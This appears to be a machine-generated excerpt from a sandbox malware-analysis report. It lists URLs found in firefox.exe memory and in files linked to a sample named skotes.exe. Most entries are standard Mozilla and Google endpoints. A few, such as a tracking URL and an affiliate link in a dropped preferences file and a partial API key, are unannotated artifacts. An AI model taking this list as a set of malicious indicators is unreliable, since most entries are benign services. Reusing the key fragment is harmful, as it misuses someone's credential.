Source: firefox.exe, 0000001C.00000003.3146871506.000001F34BCD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3248690664.0000011C76EC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001C.00000003.3146871506.000001F34BCD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3248690664.0000011C76EC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001C.00000003.3023799392.000001F349110000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024007917.000001F349132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3023475220.000001F348F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: prefs-1.js.28.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001F.00000002.3248690664.0000011C76EC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001F.00000002.3248690664.0000011C76E86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001C.00000003.3146871506.000001F34BC4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001C.00000003.3146871506.000001F34BC4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001C.00000003.3023475220.000001F348F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: skotes.exe, 0000000D.00000002.3461057569.000000000167F000.00000004.00000020.00020000.00000000.sdmp, random[2].exe.13.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001F.00000002.3248690664.0000011C76E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001F.00000002.3248690664.0000011C76EC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-user-removal
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001C.00000003.3176989775.000001F34A834000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000001C.00000003.3176989775.000001F34A834000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001C.00000003.3146871506.000001F34BC26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 0000001C.00000003.3230044775.000001F3498B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001C.00000003.3156861635.000001F34B8F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001C.00000003.3133373724.000001F352EBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128031293.000001F352EB8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3122183321.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3102334419.000001F352EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001D.00000002.3250484093.0000021EDA4C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3248690664.0000011C76EEA000.00000004.00000800.00020000.00000000.sdmp, prefs-1.js.28.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000001C.00000003.3023799392.000001F349110000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024007917.000001F349132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3023475220.000001F348F00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024247587.000001F349153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001C.00000003.3127423941.000001F3515AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3136134821.000001F351654000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3128860954.000001F3515B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001C.00000003.3023799392.000001F349110000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024007917.000001F349132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3023475220.000001F348F00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024247587.000001F349153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: firefox.exe, 0000001C.00000003.3023799392.000001F349110000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024007917.000001F349132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3023475220.000001F348F00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3024247587.000001F349153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001D.00000002.3249995499.0000021EDA200000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3251878186.0000011C774D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
